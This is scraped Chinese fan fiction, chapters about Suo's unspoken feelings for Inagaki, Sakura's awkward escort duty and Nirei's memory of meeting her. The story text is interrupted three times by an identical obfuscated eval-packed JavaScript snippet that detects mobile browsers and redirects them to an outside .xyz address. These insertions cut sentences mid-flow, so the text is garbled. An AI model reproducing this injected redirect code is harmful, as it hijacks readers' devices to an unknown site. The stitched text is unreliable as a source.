;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059626|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 前面铺垫拆解了那么多,稻垣还是被他这倒打一耙的提问迎头痛击,差点栽过去:“当然不是,你在想什么。” “我在期待啊。”“啊?”“期待稻姐姐愿意考虑我。” 她皱了皱眉,倒是没发脾气:“苏枋,我们说好不再谈这个问题的。”苏枋眸光微垂,淡然一笑,就这么把说出去的话滴水不漏地收回来:“嗯,我开玩笑的。” 稻垣早已不再和他计较这些言辞上的小心机,她大度地揭过,话又说得十分轻巧:“你会慢慢习惯的,我自认为——可能相处久了你就会发现,比起成为恋人,和我当朋友的体验要好得多。” 净拣漂亮话应付他。苏枋不喜欢她总是通过自我贬低来为最终目的铺路的习惯,但又无意多言。 稻垣诚然是个很好的朋友,这一点甚至不需要深年久月的相处来佐证——梅宫一应人等对她的珍惜爱护足以说明一切。 稻垣见他不吱声,带着点哄劝意味地自嘲:“我的事情你多少也了解一点了吧。我对朋友是很好的,但要是谈起恋爱,大抵会把你对我的所有好印象都败坏得一干二净的,我只会让你伤心——否则,正常女孩子,长着我这么一张脸,但凡性格好一点,会被青梅竹马的初恋说甩就甩掉吗?” 那难道不是梶自己有问题?苏枋下意识地在心里反驳。 他后槽牙一咬,面上不动声色,嘴角甚至云蒸霞蔚地勾出一个朦胧的笑来,硬是忍住了没把心里话吐出来。 苏枋心头也无端腾起一股烟气袅袅的惆怅。稻垣惯于将自己稀烂的性格包装成一面中空带刺的盾,去抵挡、逼退被她的外貌吸引而来的好意,有时甚至不惜刺伤别人;而假若对那尖刺视而不见,迎刃而上,轻轻敲碎那色厉内荏的防御,就会触及柔软而丰沛的内里——如此一来,难以自拔地倾慕她似乎也没什么可奇怪的。 “稻小姐和梶哥分手,责任在于稻小姐吗?” 苏枋问这一句已经十分无礼,可稻垣毫不犹豫地回答:“完全是我的问题。” 苏枋笑着摇摇头,心说她在谈恋爱这件事上是还不够老道——一般而言,分手的情侣之中,哪怕是明确了过错方的,也少有像她这样,不由分说把责任一股脑揽到自己身上的。 苏枋不可能傻到这种时候拆穿她。他温顺地应了她:“好,稻小姐的忠告,我收下了。” “那就好。”稻垣似乎是被他宽慰,笑意温存而寂寥。 苏枋望着她短暂出神,回忆了一下,确信这般极具静默感的笑容从未见过。这笑有别于她手机里那张和梶的自拍里的明艳不可方物,自有别样动人之处。那是雨巷里的月亮和忧愁丁香,而最珍贵的地方在于,它此时此刻只属于苏枋。 苏枋转开了目光。谈话间,他们已沿着小街走出去,在河岸上逛了一圈后打道回府。 苏枋已不着痕迹把节奏放得很慢,但夏夜晚风还是川流不息,温柔地推着他向前走。 他适时停下,忍住了不再靠近楝树投下那片阴影。 “时间不早了,我就送到这里,稻小姐早点休息。”“嗯,回见。” 不见面的时间太枯燥,愈发潮闷的白天是因朋友们的环绕、充斥生机勃勃的喧闹,他才得以获得余裕,将那些团簇在一起、理也理不清头绪的情绪推开,令他的心不至显得拥塞又可怜。 不想说再见的总是另有其人。 想牵她的手,想拥抱她,想接吻,想耳鬓厮磨一遍遍告诉她自己有多么喜欢她——最不济,哪怕这条回家的长路走得更慢一些也好。 可是这些统统无法实现,连流露一丝想念在表面上也是危险的。没有名分的感情就这么上不得台面,连不舍都要窝藏心间,生怕多看一眼就露了马脚。 苏枋一如往常笑得妥帖:“晚安,稻小姐。” “晚安。” 苏枋都开始忧虑他修为够不够深厚,疑心自己究竟能忍耐到几时。 25.东京,东京 轮到樱负责接送稻垣的前一天,榆井专程在Line上叮嘱了他一大堆注意事项。樱洗完澡躺在地上,划拉着屏幕看得直犯困。他完全不理解接送强运姬这件事和普通的日间巡逻、维持秩序有哪里不一样,值得格外上心——即若把这件事和给画满乱七八糟的公共墙面刷涂料放在一起比较,樱也宁可去刷墙,或者帮商店街上了年纪的店家搬个货什么的。 稻垣不梦是什么贵重展览品吗?在外移动还需要人专门护送?而且整个风铃一年级,百来号人专门为此更动了排班顺序,如此大费周章委实令樱费解——浸淫在商店街这种彼此亲和友好的氛围里,樱对这种陡然冒出来、需要搞特殊待遇的人物本能地产生了淡淡的排斥感,搞得好像她拥有旁人没有的特权似的。 至于班级里这几天话题度极高的强运姬放课路上的麻烦商谈环节则更让他觉得莫名其妙——有人遇到了麻烦,帮忙解决不是防风铃的传统吗?在商店街,任何人遇到了困难,他们都不会袖手旁观的,怎么放到稻垣身上就值得拿出来大肆谈论了? 不过—— 樱转念一想,她那种长得格外漂亮又身段柔弱的女孩子,身边没个同伴在的话,在这种治安混乱的地方的确是有几率惹祸上身的。参照梅宫对琴叶的过度保护,稻垣一个人每天往返东京上学必然辛苦,多照顾她一些也不是一点都不能理解。 樱点进输入框,输入删除来来回回折腾好半天才发出去一句回复。 【好麻烦!】 发完显示榆井已读但没收到回复,樱立马感到不妥,抓耳挠腮了片刻,笨拙地打完字,点击发送。 【我知道了啦。】 榆井不就是担心他跟稻垣性格不合,两个人处不好吵起来吗?瞎操心,他才没那么幼稚好不好!虽然猜拳五十连败的阴影还笼罩着他,但是樱自认这点心态上的偏颇还不至于影响到他做好自己的分内——刚到风铃时的他或许还不够成熟,而在经历了与烽一战后,在思考和行事上,他多少都得到了历练和成长。 至于稻垣——樱冷不丁回想起稻荷神社的碰面。她从主殿深处探身出来时,纯白的衣裙犹似从光影明灭的块面里剥离;她眸光寂静,含得很深,眼底绿树荫浓振起蝉鸣;垂目而望时,衣袖拂起一阵线香的气味沁满了樱的感官。 她像是凭空出现在那里的,一转眼就可能消失不见。那个短暂到难以察觉的瞬间里,樱隐隐触碰到了稻垣身上某种秘不示人的东西,一种不确定性和存在的模棱两可——樱不知为何,认定稻垣是个随时可能离此地而去的人。 可她在他和榆井身边坐下来之后,那股缥缈的距离感又和线香味一同消散在了空气里,她不再像初见时那么冷淡,会开玩笑,也会体贴他的害羞。榆井告诉他和苏枋稻垣在赚钱援助防风铃和儿童养护设施的事,他嘴上不说,心里还是有几分敬意的——若说防风铃的宗旨是维护街区的和平稳定,那稻垣所做的,应当是比这更了不起一些的事,只不过大家看不到罢了。 稻垣的脾性是有点捉摸不定,不过樱自知自己也称不上有耐心,因而这点瑕疵都可忽略不计,总的来说,她在樱这里算是个还不错的人。 因故,樱不认为榆井的担忧有什么必要。 【太好啦,我真的很怕樱同学和稻姐姐吵起来呢,听到樱同学这么说,我就放心了!】 【不愧是级长,超级可靠!】 樱又被榆井猝不及防的夸奖闹了个红脸,颤颤巍巍地打字回复。 【真是的。】 【我看起来像是会跟女人大小声的人吗?】 榆井秒回。 【哦,这我倒是不担心,樱同学的为人我是了解的啦。】 这还差不多。樱无声轻哼,心里翘起来的褶皱被稍稍抚平。 【我主要是怕樱同学被稻姐姐攻击得体无完肤。】 【喂!!!】 翌日清晨。 ?稻垣走下小街尽头一段漫长的坡道,在路口街心花园的花坛边看见一个人弓背垮肩懒懒散散地坐着,眼神虚无,一看就困得不清,下巴在胸前一点一点地,嘴里叼着没吃完的三明治。 “樱……?” 樱猛地惊醒,被呛得连连咳嗽:“噗——咳,咳咳咳!” 稻垣皱眉,见他咳完一副卡到了嗓子的样子,伸手从书包里掏出水杯:“抱歉,你没事吧。” 她拧开杯盖,递给樱:“不介意的话。” 樱接过来连灌了几大口,总算把三明治全都咽了下去,这才喘上了气,把杯子还给稻垣。他这才注意到手里是一个容量中等的保温水杯,显然是灌满温水出门的,被他喝剩下一个杯底,不免有些震惊——喂,谁家高中生早上揣着保温杯出门啊?! 稻垣若无其事地拧上盖子,顺手放回了书包里:“时间是不是太早了?我跟梅和柊说一声吧,早上不用让风铃的孩子来接我了——反正这么早,街上都没什么人,也不会有什么事的。” 樱板起脸道:“就是这种因为没人所以放松警惕的时候最容易出意外。” 明明是体恤他结果还反过来被用大道理教育了,稻垣选择闭嘴。 “走吧,哈啊——”樱伸了个懒腰。 “哦。” 一路上都很安静,樱花一晚上做的心理建设都白费了,稻垣根本不打算理他的样子。意料之外的状况让樱微妙地焦灼起来。 樱一向不擅长和人交往,是风铃的人的友善对待让他的情况有所改善。但于他而言,找话题和女孩子聊天这种事仍是地狱级别的难度,可那股从未体会过的焦灼推搡着他自然而然地开口了:“那个,你去东京上学,单程要花多少时间啊?” 早起的困倦让他打心底里好奇这个问题。 稻垣不假思索道:“坐县营巴士到东京差不多半个小时,然后转JR到指定的接送点乘校车,前后差不多要一个小时。” 樱不禁咋舌:“那还真是够久的。” 怪不得要起这么早。 “还好,我习惯了,国中就是这么过来的。” “你为什么……”樱欲言又止。他直觉以他和稻垣的关系好像不适合问得更多了。稻垣余光扫过来,一下子就理解了他嘴里没说完的半截话。 “你想问我为什么愿意忍受每天长途奔波的辛苦?”“呃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062017|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 樱心想,她会读心吗?他老老实实点头:“嗯。” “跟你一样,因为喜欢这里啊。” “喜欢”这个词令樱乍然间神经一跳,不是难为情,单纯是错愕。因为消息最灵通、也是他们之中和稻垣相熟的榆井,也不清楚稻垣有什么喜好——稻垣的气质给他一种先入为主的印象,仿佛这个人一本正经地谈论喜欢什么东西或者喜欢什么人都只会让人心生异样。 樱纯粹是觉得她和这种亲密又柔软的情绪不太相称。 “在东京独居生活是没什么问题,也很便利。不过那里的街道和建筑都又沉又闷,抬起头望见的天空都是狭长的三角形,一直住在小镇上的人没法想象;空气也很糟糕,充斥废弃塑料和金属质感的味道;人和人之间的距离看似近得冒犯,但真的被冒犯的时候又发觉彼此相斥,思想和意识都分处地表两级。”稻垣平淡地说,她语气清冷,措辞又生动,很有画面感,让樱忍不住凝神去听,“总之,东京很漂亮,我不喜欢。” 她如此总结,樱没说话。 “反观商店街就是这么一个地方,生活节奏很舒适,氛围也很包容,只要和这里的人接触,一不留神就会被拉进他们的生活和情绪里——回过神来时,已经无法避免地对这里产生很深的眷恋。”她停顿了一下,视线转向樱,“樱也是从外地来的,你现在好像完全融入风铃了,想必是能理解我这番话的吧?” 樱下意识回避了稻垣的注视。 他被一种奇怪的感受包裹了。 稻垣说“喜欢”“眷恋”这种字眼的时候,就仿佛有另一个她在背后平静而悲伤地凝视着喜爱与眷恋之物,她每说一次,另一个她就后退一步;而她说“不喜欢”,则要比“喜欢”的语气更真实,顺耳多了。 樱对此感觉非常不好。 稻垣身上这股若即若离的距离感,让他窥见了曾经的自己——只不过稻垣是掩藏得比较好,比他高明的那种人。 她不是被人拒绝接纳,反之,周围的人都爱重她或是爱慕她,总是热情地向她伸手。樱恍然,恐怕是她以一种不留痕迹的方式拒斥了别人,她背着所有人做好了抽身而去的准备—— 是她躲在目所不及的角落里,静悄悄地,独自一人构思着孤独和别离。 这种气质,反而像个不折不扣的东京人。 樱没有回答。 稻垣顿了一会儿,有些好笑:“樱,你就这么不想和我说话吗?” 樱堪堪回身,满脸茫然:“啊?什么……?我没有啊。” 她好像也并未因此对他有什么看法:“是吗?我以为樱一直对我观感不好,所以不想搭理我。” “我哪有……!”樱本就算不得能言善辩,此时的仓促辩解听起来也分外苍白无力。 “没关系,别勉强,人不可能和所有人都处得来,我对自己是个怎么样的人姑且是有自知之明的。前面就是车站了,你回吧。”稻垣随意摆摆手,“谢谢你一早来接我,晚点再见。” 樱全然不知所措。 不是……怎么搞的?他这是搞砸了吗? 怎么突然就搞砸了? 26.少年各有心事(上) 樱没想到早上这段小插曲让他这一个白天都过得不安生。拐弯撞墙,被猫抓手,开易拉罐被碳酸饮料滋了一脸,走在路上头顶掉花盆,下楼左脚绊右脚差点扭了膝盖大腿轻微拉伤—— “啊啊啊啊啊啊啊——” 风铃一年级的楼层回荡着多闻众级长崩溃的惨叫声。左邻右舍纷纷探出头来观看这个倒霉蛋,议论他是不是什么时候踢坏了路边的小神龛,惹怒了神明才横祸连连。 榆井把樱扶起来,忧心忡忡地问他要不要去医务室。樱说不去,这点小伤放着不管很快就会好。榆井不同意,想强行把人架过去,被苏枋一句话制止了。 他意味深长地说:“榆君,按照樱君眼下这种霉运当头、喝凉水都塞牙的架势,把他带到存放了镊子、剪子这种锐器的医务室去——真的好吗,会不会有点欠考虑了?” “噫——”樱顿时毫毛倒竖。榆井也感到一股寒意爬上了后脖颈:“苏枋同学所言极是!!” 苏枋笑笑,上下打量着樱,陷入了沉思。 察觉到苏枋的凝视,樱撇嘴:“干吗?” “在想樱君今天为什么这么倒霉。”“我也想知道?!”“不会真的是樱同学踢了路边的神龛惹怒了神明什么的吧,哈哈……”“才不会啊,我没做过那种事好吧!” “说起惹怒了会倒霉的神明……”苏枋若有所思,蓦然间灵犀一现,“那不就是掌管好运的神明?” “欸?啊——”榆井恍然大悟,猛地瞪大眼睛,“樱同学!!” “怎,怎么了?”樱被榆井骤然间变得凄厉无比的嗓音以及他死不瞑目的表情吓得不轻,“干吗摆出这副表情……” “樱同学……樱同学早上是不是和稻姐姐吵架了?”榆井的语调忽然变得十分尖锐而阴沉。 “我……”樱喉头一哽,直接气虚了,“我没有啊……” “不像真话呢。”苏枋笑得很风凉。 “果然还是吵架了?我明明都叮嘱那么多注意事项了!”榆井痛心疾首,“我就知道!樱同学和稻姐姐相性太差了,我就知道会发生这种事啊啊啊啊樱同学该怎么办才好啊啊啊啊啊你这辈子都吃不到好吃的食物了啊啊啊啊啊!” 樱吓得脸色惨白:“你别诅咒我啊啊啊啊啊啊啊?!” 苏枋被鬼哭狼嚎的两人吵得脑仁疼,捂着耳朵无奈道:“我说,现在最重要的不是怎么平息神明的怒火,以免召来天谴吗?” 天谴?! 轻轻一句话又让两个人倏然噤声了。苏枋笑呵呵地问:“所以,樱君和稻小姐之间发生什么事了?” 樱目光游移:“没什么嘛……就是,聊天的时候没怎么搭理她,她以为我讨厌她。” 苏枋和榆井都呆住了。 “聊天……不搭理稻姐姐?”“樱君,你这摆明了就是讨厌稻小姐吧。” “我没有啊?!”樱百口莫辩,“我不过就是……不过就是几句话都没接嘛,我也不知道要跟她说些什么啊!” “几句话都不接?!这岂不是很失礼……”“我知道啊,我只是一下子没反应过来!” 苏枋打断道:“樱君,稻小姐对此是什么态度呢?” 樱试图回想,记忆支离破碎,唯余被他和稻垣之间一道无形的障壁阻隔开来的情绪和感受支配了那个燠热流光的清晨。 樱摊了摊手:“不记得了,没什么啊,反正她也不在意。” 苏枋无语了。 樱:“你这沉默是什么意思。” 榆井替他翻译:“是死刑呢。” “哈?”“被掌管好运的神明彻底无视了!樱同学!你被好运彻底抛弃了,所以才会这么倒霉!”“什么跟什么啊,能不能别胡说八道?!” 表面上还在继续嘴硬,但樱心里已大为动摇——每天都这么倒霉也就算了,一辈子吃不到好吃的食物谁受得了啊?! “那,有没有什么办法……苏枋?”他不得不虚心低头请教。 苏枋回神,猝然笑得春暖花开:“欸——樱君是在拜托我想办法补救吗?” 樱被他调戏得满脸通红:“干,干吗啊!这种事我根本搞不明白啊,不是只能指望你了吗……”苏枋开始摆架子:“可是,我和稻小姐又不熟。”“你是我们三个里面最聪明的啊,你不能想想办法吗?”“樱君这么看得起我啊,好开心哦——”“你,你这家伙——!” 樱被彻底点炸,上蹿下跳张牙舞爪了一阵,还是在榆井的眼疾手快的阻拦下才没有一脚踩空又从楼梯上摔下去。 苏枋见好就收,敛了玩笑神色安抚道:“没事的,樱君,依稻小姐的脾气,只要她没跟樱君当场翻脸,那就是还有挽回的余地。” “你有主意?”樱的眼睛潮乎乎的,像等待投喂的小动物一动不动盯着他。 苏枋失笑:“也不是什么惊天动地的点子……樱君等会儿去车站接稻小姐,届时跟她解释清楚就好了——解开误会的话,樱君就不会继续倒霉了吧。” 樱将信将疑:“只是这样?” “嗯,稻小姐虽然看上去高高在上,但对诚实的人是最讲道理的,所以樱君不必有什么心理负担。要是觉得很难开口的话,带罐茶饮给她吧,她只要收下,就不会为难樱君了——啊,记得买热的,冷的不行。” “噢,那好吧……”樱直犯嘀咕,“话说你怎么老让人给她带罐装茶啊,上次杏西也是。” 苏枋耸了耸肩:“榆君不是说稻小姐基本不收礼物吗?我只知道罐装茶饮她姑且是会收下的——所以我认为,无论是表达感谢还是歉意,罐装茶都是个比较稳妥的选项。” “噢……这样。” 苏枋见樱一副似懂非懂如在梦中的样子,拍了拍他的肩膀:“就照我说的做吧,樱君——你得明白,人生除了意外,剩下的全是套路。” “什么?什么意外和套路啊……”樱听得云里雾里,但出于对苏枋的绝对信任,还是点头了,“管不了那么多了——快到时间了,那我去买饮料。” “要不要我扶你去啊,樱同学。”“不用啦!我能走路!”“樱君路上小心——” …… 榆井和苏枋留在原地目送樱远去。 “苏枋同学。”“嗯?怎么了,榆君?” “苏枋同学是从哪里知道这些的啊?”“欸?” “稻姐姐脾气很臭,但其实很讲道理,还有,会收下别人给的罐装茶饮之类的——苏枋同学不是跟稻姐姐不熟吗,算起来才见过几面而已吧?还是说,私下里有接触?” 直击本质的犀利问题接二连三抛出,砸得苏枋一时语塞。 “苏枋同学,喜欢稻姐姐吧?”榆井转过头来,神情一派天真,苏枋却惊觉他的目光已无法穿透自己徒弟脸上那层天然纯真的幕障。 苏枋摁了摁额角,苦恼地笑笑:“哎呀,还是暴露了?” “有点明显了呢。”榆井也跟着哈哈一笑。 明明连樱的亲密关系雷达都没扫描到,“我有一个朋友”那次也顺利糊弄过去了,这回却在细节上一时大意出纰漏让榆井抓到了——苏枋心说自己还是看人不走眼的,收的这位徒弟的真实段位可比看上去高多了。 “那榆君呢?”“嗯?”“榆君也喜欢她吗?” 当场反将一军。 要论打机锋,苏枋是从没怕过任何人的,更不存在徒弟打师父的道理。 不料榆井非常爽快:“喜欢哦,我最喜欢稻姐姐了。” 苏枋怔住。 “稻姐姐那么好的一个人,喜欢她很正常吧?”“榆君说的,和我说的,应该不是一种喜欢吧。”“啊哈哈……那的确不一样,我把稻姐姐当姐姐看待的嘛。” 苏枋问:“榆君是怎么认识稻小姐的?” 榆井不答反问:“苏枋同学见过稻姐姐‘那种样子’吗?” 苏枋又被他问得愣住,而后反应过来:“见过。” “那种样子的稻姐姐是什么打扮呢?”“嗯……见过两种哦,假发、皮衣、化攻击性很强的妆,以及素面朝天穿帽衫和牛仔裤、扣顶棒球帽就出门的。” “我第一次见稻姐姐的时候,她比后面一种还要更不修边幅一些呢。”榆井笑着说。 “欸?”苏枋感到诧异,没法想象不修边幅的稻垣是什么样子的。 “看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065499|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去几天没有好好收拾过自己了,衣服灰扑扑的,头发像这样,很潦草地用一支铅笔盘起来。”榆井伸手比划起来。 “当时是什么情况?”“在窃听。” “……窃听?” “那时我上国一,正好是梅宫哥他们进入风铃的那一年,风铃在内战。” 榆井国一的时候,风铃高中周围还是战区,没有帮派背景的人根本不敢独自打这里经过,搞不好就被卷进某场斗殴里。 榆井胆子小,但骨子里又长了一点倔强的冒险主义精神——人类就是如此矛盾的物种。他喜欢闲来无事走街串巷,尤其爱往阴暗的角落里钻,从无人处走出路来,也是别样的成就感。他就是在风铃周边人迹罕至的巷子里,撞见了戴着耳机蹲在地上,拨弄收发天线的稻垣。 稻垣扭过头来,目光上挑,桃花眼锋利如刀,刮得榆井浑身冰凉。 她上下打量一番,就解除了警戒,竖起一根手指示意榆井闭嘴,漠然地移开了目光。那精钢利刃般的眸光沉落下去,化作翠绿林涛上一段忧伤静默的灰色雾雨。 那一瞬间,有人拿起锤子在榆井的心上重重地敲了一下。 余响绵延。 他仔细地观察稻垣,看见她嘴唇干裂起皮,转出去找到最近的自动贩卖机,买了一罐最普通的绿茶,带回去给她。 这回,稻垣纡尊降贵分出注意力,多看了他两眼,接过了茶水,没有拒绝榆井的逗留和观摩。 她在水木的帮助下,在风铃高中内部布设了几十个窃听器,监听烽还有其他势力的内部谈话。她腿上摊着一本厚厚的笔记本。上面字迹潦草,很多字都不完整,用部分笔画和固定的标记代替——榆井后来知道那是专业的速记员惯用的一套标识系统。 风铃内部混乱的组织关系清清楚楚地呈现在稻垣的笔记本上,谁对谁忠诚不二,谁是风吹就倒的墙头草,谁两面三刀搞无间道,一目了然;而各大势力的主要成员,从个人爱好到家庭信息还有不少见不得人的阴私,全都事无巨细记录在册。 稻垣教导榆井,不良少年之间的冲突是暴力和信念的较量,但战争的最终形态,是信息战。掌握了情报的那一方能建立压倒性的优势,情报能最大程度左右战局,甚至攫取最后的战果。 最上伐谋,其次伐交,其次伐兵,其下攻城。 而制定谋略,最看重情报。 “看着吧,榆,这群疯狗一样的不良,哪个不是动动手指就能捏死我?但他们最后,都会栽在我手里,还不知道自己是怎么死的。”稻垣一边调试信号,嘴角露出一个血腥气十足的微笑,“暴力能破坏规则压到一切,但足够的智慧能驯服暴力,把猛兽关进笼子里,我高兴就给两口吃的,不高兴就将其愚弄至死。” 她的话令榆井心动不已——原来,只要脑子好,会收集情报,手无缚鸡之力的人也能在不良环绕中拥有立足之地。 榆井跟在稻垣身边帮了不少忙,也学会了不少打探消息的手法——但稻垣不许他总是跟着自己。 她怒斥:“国中生给我好好读书啊!”榆井可怜巴巴地眨着眼睛,像害怕被抛弃的小狗:“欸——稻姐姐也才国三吧……明明自己也翘课。”她趾高气昂:“我可是早就考上贵族高中的特招了,就算三天两头不去上学也没关系,你凭什么跟我相提并论!” 最终,榆井见证了梅宫统一风铃高中的全过程——只不过是站在一个不为外人所道的角度,甚至没人知道战局之外还存在这样一位看客,注视着梅宫背后这个举足轻重却无人知晓的狠角色是如何机关算尽,掀起血雨腥风的。 榆井秋彦崇拜梅宫一,憧憬防风铃,更钦佩稻垣不梦,她像不世出的高手,事了拂衣去,深藏功与名。 风铃内战落幕后,榆井也就不再整日跟着稻垣。稻垣拆除所有接收天线的那天,他鼓起勇气问:“我,我以后还能联系稻姐姐吗,我还有很多事想向稻姐姐请教!”稻垣很爽气:“可以啊,我可以辅导全科作业——你的目标高中是哪所?”榆井也豪气冲天:“是风铃高中,我要加入防风铃!” 稻垣气得两眼一翻:“搞半天你也想当不良?!给我好好上学啊!”